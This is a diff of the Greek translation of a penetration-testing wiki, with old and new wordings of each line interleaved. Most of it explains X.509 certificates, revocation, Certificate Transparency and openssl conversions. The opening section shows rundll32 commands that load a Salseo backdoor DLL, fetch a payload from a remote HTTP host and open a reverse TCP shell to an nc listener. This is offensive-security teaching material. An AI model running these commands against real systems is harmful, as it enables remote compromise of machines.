Αντιγράψτε και επικολλήστε την DLL όπου θέλετε να τη δοκιμάσετε.
Εκτελέστε:
```
rundll32.exe SalseoLoader.dll,main
```
Αν δεν εμφανίζεται κάποιο σφάλμα, πιθανότατα έχετε ένα λειτουργικό DLL!!
Αν δεν εμφανιστεί σφάλμα, πιθανότατα έχετε μια λειτουργική DLL!!
## Λήψη κέλυφους χρησιμοποιώντας το DLL
## Αποκτήστε ένα shell χρησιμοποιώντας τη DLL
Μην ξεχάσετε να χρησιμοποιήσετε ένα **HTTP** **server** και να ορίσετε ένα **nc** **listener**
Μην ξεχάσετε να χρησιμοποιήσετε έναν **HTTP** **server** και να ρυθμίσετε έναν **nc** **listener**
### Powershell
```
@ -159,8 +160,6 @@ $env:shell="reversetcp"
rundll32.exe SalseoLoader.dll,main
```
### CMD
### Εντολή
```
set pass=password
set payload=http://10.2.0.5/evilsalsax64.dll.txt
@ -169,16 +168,17 @@ set lport=1337
set shell=reversetcp
rundll32.exe SalseoLoader.dll,main
```
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστήριξη HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,58 +1,59 @@
# Πιστοποιητικά
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team του HackTricks AWS)</strong></a><strong>!</strong></summary>
<summary>Υποστήριξη HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=certificates) για να δημιουργήσετε εύκολα και να **αυτοματοποιήσετε ροές εργασίας** με τα πιο προηγμένα εργαλεία κοινότητας στον κόσμο.\
Χρησιμοποιήστε [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=certificates) για να δημιουργήσετε και να **αυτοματοποιήσετε ροές εργασίας** με τη βοήθεια των **πιο προηγμένων** εργαλείων της κοινότητας.\
Αποκτήστε πρόσβαση σήμερα:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=certificates" %}
## Τι είναι ένα Πιστοποιητικό
Ένα **πιστοποιητικό δημόσιου κλειδιού** είναι ένα ψηφιακό αναγνωριστικό που χρησιμοποιείται στην κρυπτογραφία για να αποδείξει ότι κάποιος κατέχει ένα δημόσιο κλειδί. Περιλαμβάνει τις λεπτομέρειες του κλειδιού, την ταυτότητα του ιδιοκτήτη (το θέμα) και μια ψηφιακή υπογραφή από μια αξιόπιστη αρχή (τον εκδότη). Εάν το λογισμικό εμπιστεύεται τον εκδότη και η υπογραφή είναι έγκυρη, είναι δυνατή η ασφαλής επικοινωνία με τον ιδιοκτήτη του κλειδιού.
Ένα **δημόσιο κλειδί πιστοποιητικό** είναι μια ψηφιακή ταυτότητα που χρησιμοποιείται στην κρυπτογραφία για να αποδείξει ότι κάποιος κατέχει ένα δημόσιο κλειδί. Περιλαμβάνει τις λεπτομέρειες του κλειδιού, την ταυτότητα του κατόχου (το υποκείμενο) και μια ψηφιακή υπογραφή από μια αξιόπιστη αρχή (τον εκδότη). Εάν το λογισμικό εμπιστεύεται τον εκδότη και η υπογραφή είναι έγκυρη, είναι δυνατή η ασφαλής επικοινωνία με τον κάτοχο του κλειδιού.
Τα πιστοποιητικά εκδίδονται κυρίως από [αρχές πιστοποίησης](https://en.wikipedia.org/wiki/Certificate\_authority) (CAs) σε ένα σύστημα [υποδομής δημόσιου κλειδιού](https://en.wikipedia.org/wiki/Public-key\_infrastructure) (PKI). Ένας άλλος τρόπος είναι το [δίκτυο εμπιστοσύνης](https://en.wikipedia.org/wiki/Web\_of\_trust), όπου οι χρήστες επαληθεύουν απευθείας τα κλειδιά τους. Η κοινή μορφή για τα πιστοποιητικά είναι το [X.509](https://en.wikipedia.org/wiki/X.509), το οποίο μπορεί να προσαρμοστεί για συγκεκριμένες ανάγκες, όπως περιγράφεται στο RFC 5280.
Τα πιστοποιητικά εκδίδονται κυρίως από [αρχές πιστοποίησης](https://en.wikipedia.org/wiki/Certificate\_authority) (CAs) σε μια [υποδομή δημόσιου κλειδιού](https://en.wikipedia.org/wiki/Public-key\_infrastructure) (PKI). Μια άλλη μέθοδος είναι το [δίκτυο εμπιστοσύνης](https://en.wikipedia.org/wiki/Web\_of\_trust), όπου οι χρήστες επαληθεύουν άμεσα τα κλειδιά ο ένας του άλλου. Η κοινή μορφή για τα πιστοποιητικά είναι [X.509](https://en.wikipedia.org/wiki/X.509), η οποία μπορεί να προσαρμοστεί για συγκεκριμένες ανάγκες όπως περιγράφεται στο RFC 5280.
## Κοινά Πεδία x509
### **Κοινά Πεδία στα Πιστοποιητικά x509**
### **Κοινά Πεδία σε Πιστοποιητικά x509**
Στα πιστοποιητικά x509, διάφορα **πεδία** παίζουν κρίσιμο ρόλο για τη διασφάλιση της εγκυρότητας και της ασφάλειας του πιστοποιητικού. Εδώ υπάρχει μια ανάλυση αυτών των πεδίων:
Στα πιστοποιητικά x509, αρκετά **πεδία** παίζουν κρίσιμο ρόλο στην εξασφάλιση της εγκυρότητας και της ασφάλειας του πιστοποιητικού. Ακολουθεί μια ανάλυση αυτών των πεδίων:
* Ο **Αριθμός Έκδοσης** υποδηλώνει την έκδοση της μορφής x509.
* Ο **Σειριακός Αριθμός** ταυτοποιεί μοναδικά το πιστοποιητικό εντός του συστήματος μιας Αρχής Πιστοποίησης (CA), κυρίως για την παρακολούθηση ανάκλησης.
* Το πεδίο **Θέμα** αντιπροσωπεύει τον ιδιοκτήτη του πιστοποιητικού, ο οποίος μπορεί να είναι μια μηχανή, ένα άτομο ή μια οργάνωση. Περιλαμβάνει λεπτομερείς ταυτοποιήσεις όπως:
* Ο **Αριθμός Σειράς** προσδιορίζει μοναδικά το πιστοποιητικό μέσα στο σύστημα μιας Αρχής Πιστοποίησης (CA), κυρίως για παρακολούθηση ανάκλησης.
* Το πεδίο **Υποκείμενο** αντιπροσωπεύει τον κάτοχο του πιστοποιητικού, ο οποίος μπορεί να είναι μια μηχανή, ένα άτομο ή ένας οργανισμός. Περιλαμβάνει λεπτομερή ταυτοποίηση όπως:
* **Κοινό Όνομα (CN)**: Τομείς που καλύπτονται από το πιστοποιητικό.
* **Χώρα (C)**, **Τοποθεσία (L)**, **Πολιτεία ή Επαρχία (ST, S, ή P)**, **Οργανισμός (O)** και **Μονάδα Οργάνωσης (OU)** παρέχουν γεωγραφικές και οργανωτικές λεπτομέρειες.
* Το **Διακριτικό Όνομα (DN)** ενθυλακώνει την πλήρη ταυτοποίηση του θέματος.
* Ο **Εκδότης** λεπτομερείς ποιος επικύρωσε και υπέγραψε το πιστοποιητικό, περιλαμβάνοντας παρόμοια υποπεδία με το Θέμα για την Αρχή Πιστοποίησης.
* Η **Περίοδος Εγκυρότητας** σημειώνεται από τις χρονικές σφραγίδες **Μην Πριν** και **Μη Μετά**, εξασφαλίζοντας ότι το πιστοποιητικό δεν χρησιμοποιείται πριν ή μετά από μια συγκεκριμένη ημερομηνία.
* Η ενότητα **Δημόσιο Κλειδί**, κρίσιμη για την ασφάλεια του πιστοποιητικού, καθορίζει τον αλγόριθμο, το μέγεθος και άλλες τεχνικές λεπτομέρειες του δημόσιου κλειδιού.
* Οι **επεκτάσεις x509v3** βελτιώνουν τη λειτουργικότητα του πιστοποιητικού, καθορίζοντας τις **Χρήσεις Κλειδιού**, τις **Επεκταμένες Χρήσεις Κλειδιού**, το **Εναλλακτικό Όνομα Θέματος** και άλλες ιδιότητες για να ρυθμίσουν την εφαρμογή του πιστοποιητικού.
* **Χώρα (C)**, **Τοποθεσία (L)**, **Πολιτεία ή Επαρχία (ST, S, ή P)**, **Οργάνωση (O)**, και **Οργανωτική Μονάδα (OU)** παρέχουν γεωγραφικές και οργανωτικές λεπτομέρειες.
* Το **Διακεκριμένο Όνομα (DN)** περιλαμβάνει την πλήρη ταυτοποίηση του υποκειμένου.
* Ο **Εκδότης** αναφέρει ποιος επαλήθευσε και υπέγραψε το πιστοποιητικό, περιλαμβάνοντας παρόμοια υποπεδία όπως το Υποκείμενο για την CA.
* Η **Περίοδος Ικανότητας** σημειώνεται από τις χρονικές σφραγίδες **Not Before** και **Not After**, εξασφαλίζοντας ότι το πιστοποιητικό δεν χρησιμοποιείται πριν ή μετά από μια συγκεκριμένη ημερομηνία.
* Η ενότητα **Δημόσιο Κλειδί**, κρίσιμη για την ασφάλεια του πιστοποιητικού, προσδιορίζει τον αλγόριθμο, το μέγεθος και άλλες τεχνικές λεπτομέρειες του δημόσιου κλειδιού.
* Οι **επέκταση x509v3** ενισχύουν τη λειτουργικότητα του πιστοποιητικού, προσδιορίζοντας τη **Χρήση Κλειδιού**, τη **Εκτεταμένη Χρήση Κλειδιού**, το **Εναλλακτικό Όνομα Υποκειμένου** και άλλες ιδιότητες για την ακριβή ρύθμιση της εφαρμογής του πιστοποιητικού.
#### **Χρήση Κλειδιού και Επεκτάσεις**
* Η **Χρήση Κλειδιού** αναγνωρίζει τις κρυπτογραφικές εφαρμογές του δημόσιου κλειδιού, όπως η ψηφιακή υπογραφή ή η κρυπτογράφηση κλειδιού.
* Οι **Επεκταμένες Χρήσεις Κλειδιού** περιορίζουν περαιτέρω τις περιπτώσεις χρήσης του πιστοποιητικού, για παράδειγμα, για την επαλήθευση του διακομιστή TLS.
* Το **Εναλλακτικό Όνομα Θέματος** και η **Βασική Περιοριστική Συνθήκη** καθορίζουν επιπλέον ονόματα υποδομών που καλύπτονται από το πιστοποιητικό και εάν είναι πιστοποιητικό CA ή οντότητας τέλους, αντίστοιχα.
* Οι αναγνωριστές όπως το **Αναγνωριστικό Κλειδιού Θέματος** και το **Αναγνωριστικό Κλειδιού Αρχής** εξασφαλίζουν τη μοναδικότητα και την εντοπισιμότητα των κλειδιών.
* Τα **Στοιχεία Πρόσβασης Αρχής** και τα **Σημεία Διανομής Καταλόγου Ανάκλησης** παρέχουν διαδρομές για την επαλήθευση της εκδίδουσας Αρχής και τον έλεγχο της κατάστασης ανάκλησης του πιστοποιητικού.
* Τα **CT Precertificate SCTs** προσφέρουν διαφανείς καταγραφές, κρίσιμες για τη δημόσια εμπιστοσύνη στο πιστοποιητικό.
* Η **Χρήση Κλειδιού** προσδιορίζει τις κρυπτογραφικές εφαρμογές του δημόσιου κλειδιού, όπως ψηφιακή υπογραφή ή κρυπτογράφηση κλειδιού.
* Η **Εκτεταμένη Χρήση Κλειδιού** περιορίζει περαιτέρω τις περιπτώσεις χρήσης του πιστοποιητικού, π.χ., για πιστοποίηση διακομιστή TLS.
* Το **Εναλλακτικό Όνομα Υποκειμένου** και ο **Βασικός Περιορισμός** καθορίζουν πρόσθετα ονόματα κεντρικών υπολογιστών που καλύπτονται από το πιστοποιητικό και αν είναι πιστοποιητικό CA ή τελικού φορέα, αντίστοιχα.
* Αναγνωριστικά όπως το **Αναγνωριστικό Κλειδιού Υποκειμένου** και το **Αναγνωριστικό Κλειδιού Αρχής** εξασφαλίζουν μοναδικότητα και ιχνηλασιμότητα των κλειδιών.
* Η **Πρόσβαση Πληροφοριών Αρχής** και τα **Σημεία Διανομής CRL** παρέχουν διαδρομές για την επαλήθευση της εκδούσας CA και τον έλεγχο της κατάστασης ανάκλησης του πιστοποιητικού.
* Οι **SCTs Προπιστοποιητικού CT** προσφέρουν διαφάνεια, κρίσιμη για τη δημόσια εμπιστοσύνη στο πιστοποιητικό.
```python
# Example of accessing and using x509 certificate fields programmatically:
from cryptography import x509
@ -74,25 +75,27 @@ print(f"Issuer: {issuer}")
print(f"Subject: {subject}")
print(f"Public Key: {public_key}")
```
### **Διαφορά μεταξύ σημείων διανομής OCSP και CRL**
### **Διαφορά μεταξύ OCSP και CRL Distribution Points**
**OCSP** (**RFC 2560**) περιλαμβάνει έναν πελάτη και έναν ανταποκρίνοντα που συνεργάζονται για να ελέγξουν εάν ένα ψηφιακό πιστοποιητικό δημόσιου κλειδιού έχει ανακληθεί, χωρίς την ανάγκη να ληφθεί ολόκληρο το **CRL**. Αυτή η μέθοδος είναι πιο αποδοτική από το παραδοσιακό **CRL**, το οποίο παρέχει μια λίστα με τους αριθμούς σειριακής ανάκλησης πιστοποιητικών αλλά απαιτεί τη λήψη ενός ενδεχομένως μεγάλου αρχείου. Τα CRL μπορούν να περιλαμβάνουν έως 512 καταχωρήσεις. Περισσότερες λεπτομέρειες είναι διαθέσιμες [εδώ](https://www.arubanetworks.com/techdocs/ArubaOS%206\_3\_1\_Web\_Help/Content/ArubaFrameStyles/CertRevocation/About\_OCSP\_and\_CRL.htm).
**OCSP** (**RFC 2560**) περιλαμβάνει έναν πελάτη και έναν απαντητή που συνεργάζονται για να ελέγξουν αν ένα ψηφιακό πιστοποιητικό δημόσιου κλειδιού έχει ανακληθεί, χωρίς να χρειάζεται να κατεβάσουν ολόκληρη την **CRL**. Αυτή η μέθοδος είναι πιο αποδοτική από την παραδοσιακή **CRL**, η οποία παρέχει μια λίστα με τους αριθμούς σειράς των ανακληθέντων πιστοποιητικών αλλά απαιτεί τη λήψη ενός ενδεχομένως μεγάλου αρχείου. Οι CRL μπορούν να περιλαμβάνουν έως και 512 καταχωρίσεις. Περισσότερες λεπτομέρειες είναι διαθέσιμες [εδώ](https://www.arubanetworks.com/techdocs/ArubaOS%206\_3\_1\_Web\_Help/Content/ArubaFrameStyles/CertRevocation/About\_OCSP\_and\_CRL.htm).
### **Τι είναι η Διαφάνεια Πιστοποιητικών**
Η Διαφάνεια Πιστοποιητικών βοηθά στην καταπολέμηση απειλών που σχετίζονται με πιστοποιητικά εξασφαλίζοντας ότι η έκδοση και η ύπαρξη πιστοποιητικών SSL είναι ορατές στους ιδιοκτήτες τομέα, τις Αρχές Πιστοποίησης (CAs) και τους χρήστες. Οι στόχοι της είναι:
Η Διαφάνεια Πιστοποιητικών βοηθά στην καταπολέμηση των απειλών που σχετίζονται με πιστοποιητικά διασφαλίζοντας ότι η έκδοση και η ύπαρξη των SSL πιστοποιητικών είναι ορατές στους ιδιοκτήτες τομέων, τις CA και τους χρήστες. Οι στόχοι της είναι:
* Αποτροπή των CAs από την έκδοση πιστοποιητικών SSL για έναν τομέα χωρίς τη γνώση του ιδιοκτήτη του τομέα.
* Δημιουργία ενός ανοικτού συστήματος ελέγχου για την παρακολούθηση πιστοποιητικών που έχουν εκδοθεί κατά λάθος ή κακόβουλα.
* Προστασία των χρηστών από απάτες με πιστοποιητικά.
* Να αποτρέψει τις CA από το να εκδίδουν SSL πιστοποιητικά για έναν τομέα χωρίς τη γνώση του ιδιοκτήτη του τομέα.
* Να καθιερώσει ένα ανοιχτό σύστημα ελέγχου για την παρακολούθηση πιστοποιητικών που εκδόθηκαν κατά λάθος ή κακόβουλα.
* Να προστατεύσει τους χρήστες από δόλια πιστοποιητικά.
#### **Καταγραφές Πιστοποιητικών**
Οι καταγραφές πιστοποιητικών είναι δημόσια ελέγξιμες, αναπτυσσόμενες μόνο προς τα εμπρός εγγραφές πιστοποιητικών, διατηρούμενες από υπηρεσίες δικτύου. Αυτές οι καταγραφές παρέχουν κρυπτογραφικές αποδείξεις για λόγους ελέγχου. Τόσο οι αρχές έκδοσης όσο και το κοινό μπορούν να υποβάλουν πιστοποιητικά σε αυτές τις καταγραφές ή να τις ερευνήσουν για επαλήθευση. Αν και ο ακριβής αριθμός των διακομιστών καταγραφής δεν είναι σταθερός, αναμένεται να είναι λιγότεροι από χίλιους παγκοσμίως. Αυτοί οι διακομιστές μπορούν να διαχειρίζονται ανεξάρτητα από CAs, ISPs ή οποιοδήποτε ενδιαφερόμενο φορέα.
Οι καταγραφές πιστοποιητικών είναι δημόσια ελέγξιμες, μόνο για προσθήκη, καταγραφές πιστοποιητικών, που διατηρούνται από υπηρεσίες δικτύου. Αυτές οι καταγραφές παρέχουν κρυπτογραφικές αποδείξεις για σκοπούς ελέγχου. Τόσο οι αρχές έκδοσης όσο και το κοινό μπορούν να υποβάλουν πιστοποιητικά σε αυτές τις καταγραφές ή να τα ελέγξουν για επαλήθευση. Ενώ ο ακριβής αριθμός των διακομιστών καταγραφής δεν είναι σταθερός, αναμένεται να είναι λιγότερος από χίλιοι παγκοσμίως. Αυτοί οι διακομιστές μπορούν να διαχειρίζονται ανεξάρτητα από τις CA, ISPs ή οποιαδήποτε ενδιαφερόμενη οντότητα.
#### **Ερώτημα**
Για να εξετάσετε τις καταγραφές Διαφάνειας Πιστοποιητικών για οποιοδήποτε τομέα, επισκεφθείτε το [https://crt.sh/](https://crt.sh).
Για να εξερευνήσετε τις καταγραφές Διαφάνειας Πιστοποιητικών για οποιονδήποτε τομέα, επισκεφθείτε [https://crt.sh/](https://crt.sh).
Διαφορετικές μορφές υπάρχουν για την αποθήκευση πιστοποιητικών, καθεμία με τις δικές της περιπτώσεις χρήσης και συμβατότητα. Αυτή η σύνοψη καλύπτει τις κύριες μορφές και παρέχει καθοδήγηση για τη μετατροπή μεταξύ τους.
## **Μορφές**
@ -100,43 +103,49 @@ print(f"Public Key: {public_key}")
* Η πιο ευρέως χρησιμοποιούμενη μορφή για πιστοποιητικά.
* Απαιτεί ξεχωριστά αρχεία για πιστοποιητικά και ιδιωτικά κλειδιά, κωδικοποιημένα σε Base64 ASCII.
* Συνηθισμένες επεκτάσεις: .cer, .crt, .pem, .key.
* Χρησιμοποιείται κυρίως από διακομιστές Apache και παρόμοιους.
* Κοινές επεκτάσεις: .cer, .crt, .pem, .key.
* Χρησιμοποιείται κυρίως από Apache και παρόμοιους διακομιστές.
### **Μορφή DER**
* Μια δυαδική μορφή πιστοποιητικών.
* Δεν περιλαμβάνει τις δηλώσεις "BEGIN/END CERTIFICATE" που βρίσκονται στα αρχεία PEM.
* Συνηθισμένες επεκτάσεις: .cer, .der.
* Συχνά χρησιμοποιείται με πλατφόρμες Java.
* Λείπουν οι δηλώσεις "BEGIN/END CERTIFICATE" που βρίσκονται σε αρχεία PEM.
* Κοινές επεκτάσεις: .cer, .der.
* Χρησιμοποιείται συχνά με πλατφόρμες Java.
### **Μορφή P7B/PKCS#7**
* Αποθηκεύεται σε Base64 ASCII, με επεκτάσεις .p7b ή .p7c.
* Περιλαμβάνει μόνο πιστοποιητικά και αλυσίδες πιστοποιητικών, εξαιρώντας το ιδιωτικό κλειδί.
* Υποστηρίζεται από τα Microsoft Windows και Java Tomcat.
* Περιέχει μόνο πιστοποιητικά και αλυσίδες πιστοποιητικών, εξαιρώντας το ιδιωτικό κλειδί.
* Υποστηρίζεται από Microsoft Windows και Java Tomcat.
### **Μορφή PFX/P12/PKCS#12**
* Μια δυαδική μορφή που ενθυλακώνει πιστοποιητικά διακομιστή, ενδιάμεσα πιστοποιητικά και ιδιωτικά κλειδιά σε ένα αρχείο.
* Μια δυαδική μορφή που περιλαμβάνει πιστοποιητικά διακομιστή, ενδιάμεσα πιστοποιητικά και ιδιωτικά κλειδιά σε ένα αρχείο.
* Επεκτάσεις: .pfx, .p12.
* Χρησιμοποιείται κυρίως σε Windows για εισαγωγή και εξαγωγή πιστοποιητικών.
### **Μετατροπή Μορφών**
**Οι μετατροπές PEM** είναι απαραίτητες για τη συμβατότητα:
* **x509 σε PEM**
```bash
openssl x509 -in certificatename.cer -outform PEM -out certificatename.pem
```
* **Μετατροπή από PEM σε DER**
* **PEM σε DER**
```bash
openssl x509 -outform der -in certificatename.pem -out certificatename.der
```
* **Μετατροπή από DER σε PEM**
* **DER σε PEM**
```bash
openssl x509 -inform der -in certificatename.der -out certificatename.pem
```
* **Μετατροπή από PEM σε P7B**
* **PEM σε P7B**
```bash
openssl crl2pkcs7 -nocrl -certfile certificatename.pem -out certificatename.p7b -certfile CACert.cer
```
* **Μετατροπή του PKCS7 σε PEM**
* **PKCS7 σε PEM**
```bash
openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.pem
```
@ -151,7 +160,7 @@ openssl pkcs12 -in certificatename.pfx -out certificatename.pem
```bash
openssl pkcs12 -in certificatename.pfx -nocerts -nodes -out certificatename.pem
```
2. Μετατροπή από PEM σε PKCS8
2. Μετατροπή PEM σε PKCS8
```bash
openSSL pkcs8 -in certificatename.pem -topk8 -nocrypt -out certificatename.pk8
```
@ -160,7 +169,7 @@ openSSL pkcs8 -in certificatename.pem -topk8 -nocrypt -out certificatename.pk8
```bash
openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.cer
```
2. Μετατροπή από CER και Ιδιωτικό Κλειδί σε PFX
2. Μετατροπή CER και Ιδιωτικού Κλειδιού σε PFX
```bash
openssl pkcs12 -export -in certificatename.cer -inkey privateKey.key -out certificatename.pfx -certfile cacert.cer
```
@ -169,21 +178,22 @@ openssl pkcs12 -export -in certificatename.cer -inkey privateKey.key -out certif
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=certificates) για να κατασκευάσετε εύκολα και να **αυτοματοποιήσετε ροές εργασίας** με τα πιο προηγμένα εργαλεία της κοινότητας.\
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=certificates) για να δημιουργήσετε και να **αυτοματοποιήσετε ροές εργασίας** που υποστηρίζονται από τα **πιο προηγμένα** εργαλεία της κοινότητας.\
Αποκτήστε πρόσβαση σήμερα:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=certificates" %}
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστηρίξτε το HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο github.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,20 +1,23 @@
# Εξωτικές γλώσσες
# Εσωτερικές γλώσσες
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
